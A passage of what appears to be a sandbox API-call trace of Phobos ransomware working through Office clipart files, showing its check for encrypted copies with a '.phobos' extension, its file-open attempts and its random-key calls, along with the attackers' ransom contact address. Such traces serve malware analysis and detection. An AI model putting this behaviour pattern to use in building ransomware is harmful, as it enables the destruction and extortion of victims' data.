(hObject=0x588) returned 1 [0154.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01253_.gif")) returned 0x220 [0154.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01253_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01253_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01253_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.759] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01268_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.759] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=427) returned 1 [0154.759] CloseHandle (hObject=0x588) returned 1 [0154.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01268_.gif")) returned 0x220 [0154.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01268_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01268_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01268_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.760] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01292_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.993] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=597) returned 1 [0154.993] CloseHandle (hObject=0x588) returned 1 [0154.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01292_.gif")) returned 0x220 [0154.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01292_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01292_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01292_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.997] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb02229_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.001] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4139) returned 1 [0155.001] CloseHandle (hObject=0x588) returned 1 [0155.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb02229_.gif")) returned 0x220 [0155.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB02229_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb02229_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb02229_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.001] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\whirl2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.002] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2966) returned 1 [0155.002] CloseHandle (hObject=0x588) returned 1 [0155.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\whirl2.wmf")) returned 0x220 [0155.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WHIRL2.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\whirl2.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\whirl2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.004] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wing1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.020] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2582) returned 1 [0155.020] CloseHandle (hObject=0x588) returned 1 [0155.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wing1.wmf")) returned 0x220 [0155.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WING1.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wing1.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wing1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.028] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143749.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.030] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4899) returned 1 [0155.030] CloseHandle (hObject=0x588) returned 1 [0155.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143749.gif")) returned 0x220 [0155.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143749.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143749.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.031] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143750.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.032] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1086) returned 1 [0155.032] CloseHandle (hObject=0x588) returned 1 [0155.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143750.gif")) returned 0x220 [0155.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143750.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143750.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.032] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143752.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.033] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1042) returned 1 [0155.033] CloseHandle (hObject=0x588) returned 1 [0155.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143752.gif")) returned 0x220 [0155.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143752.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143752.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.033] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143754.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.036] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1709) returned 1 [0155.036] CloseHandle (hObject=0x588) returned 1 [0155.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143754.gif")) returned 0x220 [0155.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143754.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143754.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.037] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143758.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.037] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1695) returned 1 [0155.037] CloseHandle (hObject=0x588) returned 1 [0155.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143758.gif")) returned 0x220 [0155.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143758.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143758.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.038] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00516l.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.039] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4682) returned 1 [0155.039] CloseHandle (hObject=0x588) returned 1 [0155.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00516l.gif")) returned 0x220 [0155.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00516l.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00516l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.039] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00673l.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.040] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8430) returned 1 [0155.040] CloseHandle (hObject=0x588) returned 1 [0155.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00673l.gif")) returned 0x220 [0155.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00673l.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00673l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.042] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00760l.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.045] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8979) returned 1 [0155.045] CloseHandle (hObject=0x528) returned 1 [0155.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00760l.gif")) returned 0x220 [0155.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00760l.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00760l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.046] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00780l.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.047] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8079) returned 1 [0155.047] CloseHandle (hObject=0x528) returned 1 [0155.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00780l.gif")) returned 0x220 [0155.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00780l.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00780l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.047] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb01741l.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.049] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3613) returned 1 [0155.049] CloseHandle (hObject=0x528) returned 1 [0155.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb01741l.gif")) returned 0x220 [0155.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb01741l.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb01741l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.049] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02055_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.051] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2439) returned 1 [0155.051] CloseHandle (hObject=0x528) returned 1 [0155.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: 